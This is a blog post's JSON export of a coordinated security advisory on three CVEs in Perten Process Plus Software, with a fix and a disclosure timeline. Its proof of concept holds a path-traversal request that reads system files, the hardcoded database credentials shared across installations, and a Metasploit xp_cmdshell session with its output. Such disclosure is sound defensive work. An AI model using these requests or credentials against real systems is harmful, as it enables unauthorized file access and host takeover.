{"id":58393,"date":"2024-07-23T17:20:16","date_gmt":"2024-07-23T14:20:16","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/179663\/CDSR-20240722-0.txt"},"modified":"2024-07-23T17:20:16","modified_gmt":"2024-07-23T14:20:16","slug":"perten-instruments-process-plus-software-1-11-6507-0-lfi-hardcoded-credentials","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/perten-instruments-process-plus-software-1-11-6507-0-lfi-hardcoded-credentials\/","title":{"rendered":"Perten Instruments Process Plus Software 1.11.6507.0 LFI \/ Hardcoded Credentials"},"content":{"rendered":"<p>CyberDanube Security Research 20240722-0<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br \/>title| Multiple Vulnerabilities<br \/>product| Perten Instruments Process Plus Software<br \/>vulnerable version| &lt;=1.11.6507.0<br \/>fixed version| 2.0.0<br \/>CVE number| CVE-2024-6911, CVE-2024-6912, CVE-2024-6913<br \/>impact| High<br \/>homepage| https:\/\/perkinelmer.com<br \/>found| 2024-04-24<br \/>by| S. Dietz, T. Weber (Office Vienna)<br \/>| CyberDanube Security Research<br \/>| Vienna | St. P\u00f6lten<br \/>|<br \/>| https:\/\/www.cyberdanube.com<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<\/p>\n<p>Vendor description<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br \/>&#8220;For 85 years, PerkinElmer has pushed the boundaries of science from food to<br \/>health to the environment. We\u0092ve always pursued science with a clear purpose \u0096<br \/>to help our customers achieve theirs. Our expert team brings technology and<br \/>intangibles, like creativity, empathy, diligence, and a spirit of<br \/>collaboration, in equal measure, to fulfill our customers\u0092 desire to work<br \/>better, innovate better, and create better.<\/p>\n<p>PerkinElmer is a leading, global provider of technology and service solutions<br \/>that help customers measure, quantify, detect, and report in ways that help<br \/>ensure the quality, safety, and satisfaction of their products.&#8221;<\/p>\n<p>Source: https:\/\/www.perkinelmer.com\/<\/p>\n<p>Vulnerable versions<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br \/>ProcessPlus Software \/ &lt;=1.11.6507.0<\/p>\n<p>Vulnerability overview<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br \/>1) Unauthenticated Local File Inclusion (CVE-2024-6911)<br \/>A LFI was identified in the web interface of the device. An attacker can use<br \/>this vulnerability to read system-wide files and configuration.<\/p>\n<p>2) Hardcoded MSSQL Credentials (CVE-2024-6912)<br \/>The software is using the same MSSQL credentials across multiple installations.<br \/>In combination with 3), this allows an attacker to fully compromise the host.<\/p>\n<p>3) Execution with Unnecessary Privileges (CVE-2024-6913)<br \/>The software uses the user &#8220;sa&#8221; to connect to the database. Access to this<br \/>account allows an attacker to execute commands via the &#8220;xp_cmdshell&#8221; procedure.<\/p>\n<p>Proof of Concept<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br \/>1) Unauthenticated Local File Inclusion (CVE-2024-6911)<br \/>The LFI can be triggered by using the following GET Request:<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br \/>GET \/ProcessPlus\/Log\/Download\/?filename=..\\..\\..\\..\\..\\..\\Windows\\System32\\drivers\\etc\\hosts&amp;filenameWithSerialNumber=_Errors_2102162.log HTTP\/1.1<br \/>Host: 192.168.0.1<br \/>Accept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,*\/*;q=0.8<br \/>Accept-Language: en-US,en;q=0.5<br \/>Accept-Encoding: gzip, deflate, br<br \/>Connection: close<br \/>Upgrade-Insecure-Requests: 1<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br \/>This example returns the content from &#8220;C:\\Windows\\System32\\drivers\\etc\\hosts&#8221;<br \/>of an affected installation.<\/p>\n<p>2) Hardcoded MSSQL Credentials (CVE-2024-6912)<br \/>Analysis across multiple installations show that the configuration file<br \/>&#8220;\\ProgramData\\Perten\\ProcessPlus\\OPCDA_SERVER.xml&#8221; contains credentials:<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br \/>[&#8230;]&lt;OPCDA_Server dbconnectstring=&#8221;Driver={SQL Server};SERVER=.\\PertenSQL;<br \/>DATABASE=ProcessPlus_OPC;UID=sa;PWD=enilno&#8221; application_id=&#8221;1&#8243;<br \/>appid=&#8221;Perten.OPCDA.Server&#8221; loglevel=&#8221;info&#8221;<br \/>logfile=&#8221;C:\\Perten\\ProcessPlus\\Log\\opcserver.log&#8221;&gt;<br \/>[&#8230;]&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br \/>These credentials &#8220;sa:enilno&#8221; were re-used in all reviewed installations.<\/p>\n<p>3) Execution with Unnecessary Privileges (CVE-2024-6913)<br \/>The application uses the &#8220;sa&#8221; user to authenticate with the database. By using<br \/>Metasploit an attacker can execute arbitrary commands:<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br \/>msf6 auxiliary(admin\/mssql\/mssql_exec) &gt; show options<\/p>\n<p>Module options (auxiliary\/admin\/mssql\/mssql_exec):<\/p>\n<p>Name Current Setting<br \/>&#8212;- &#8212;&#8212;&#8212;&#8212;&#8212;<br \/>CMD dir<br \/>PASSWORD enilno<br \/>RHOSTS 192.168.0.1<br \/>RPORT 1433<br \/>TDSENCRYPTION false<br \/>TECHNIQUE xp_cmdshell<br \/>USERNAME sa<br \/>USE_WINDOWS_AUTHENT false<\/p>\n<p>msf6 auxiliary(admin\/mssql\/mssql_exec) &gt; run<br \/>[*] Running module against 192.168.0.1<\/p>\n[*] 192.168.0.1:1433 &#8211; SQL Query: EXEC master..xp_cmdshell &#8216;dir&#8217;<\/p>\n[&#8230;]Directory of C:\\Windows\\system32<br \/>01\/23\/2024 13:37 AM &lt;DIR&gt; .<br \/>01\/23\/2024 13:37 AM &lt;DIR&gt; ..<br \/>01\/23\/2024 13:37 AM &lt;DIR&gt; 0123<br \/>01\/23\/2024 13:37 AM &lt;DIR&gt; 0123<br \/>01\/23\/2024 13:37 AM 232 @AppHelpToast.png<br \/>01\/23\/2024 13:37 AM 308 @AudioToastIcon.png<br \/>[&#8230;]\n<p>Solution<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br \/>Update to version 2.0.0.<\/p>\n<p>Workaround<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br \/>Restrict network access to the host with the installed software. Change the<br \/>default credentials of the database in the config file and the database itself.<\/p>\n<p>Recommendation<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br \/>CyberDanube recommends Perten customers to upgrade the software to the latest<br \/>version available and to restrict network access to the management interface.<\/p>\n<p>Contact Timeline<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br \/>2024-04-29: Contacting PerkinElmer via dpo@perkinelmer.com.<br \/>2024-05-13: Vendor asked for unencrypted advisory.<br \/>2024-05-16: Sent advisory to vendor.<br \/>2024-05-22: Asked for status update. No answer.<br \/>2024-05-28: Asked for status update. Contact stated that they are working on a<br \/>fix.<br \/>2024-06-10: Asked for status update. Contact stated that all issues should be<br \/>fixed by end of month. Local file inclusion should be fixed in<br \/>version 1.16. Asked for a release date of version 1.16. No answer.<br \/>2024-07-13: Asked for status update.<br \/>2024-07-15: Contact stated, that all three issues have been fixed in version<br \/>2.0.0 which have been released on 2024-07-11.<br \/>2024-07-16: Asked for a link to the firmware update release.<br \/>2024-07-17: Set release date to 2024-07-22.<br \/>2024-07-22: Coordinated release of security advisory.<\/p>\n<p>Web: https:\/\/www.cyberdanube.com<br \/>Twitter: https:\/\/twitter.com\/cyberdanube<br \/>Mail: research at cyberdanube dot com<\/p>\n<p>EOF S. Dietz, T. Weber \/ @2024<\/p>\n","protected":false},"excerpt":{"rendered":"<p>CyberDanube Security Research 20240722-0&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-title| Multiple Vulnerabilitiesproduct| Perten Instruments Process Plus Softwarevulnerable version| &lt;=1.11.6507.0fixed version| 2.0.0CVE number| CVE-2024-6911, CVE-2024-6912, CVE-2024-6913impact| Highhomepage| https:\/\/perkinelmer.comfound| 2024-04-24by| S. Dietz, T. Weber (Office Vienna)| CyberDanube Security Research| Vienna | St. P\u00f6lten|| https:\/\/www.cyberdanube.com&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;- Vendor description&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-&#8220;For 85 years, PerkinElmer has pushed the boundaries of science from food tohealth to the environment. We\u0092ve always &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-58393","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/58393","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=58393"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/58393\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=58393"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=58393"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=58393"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}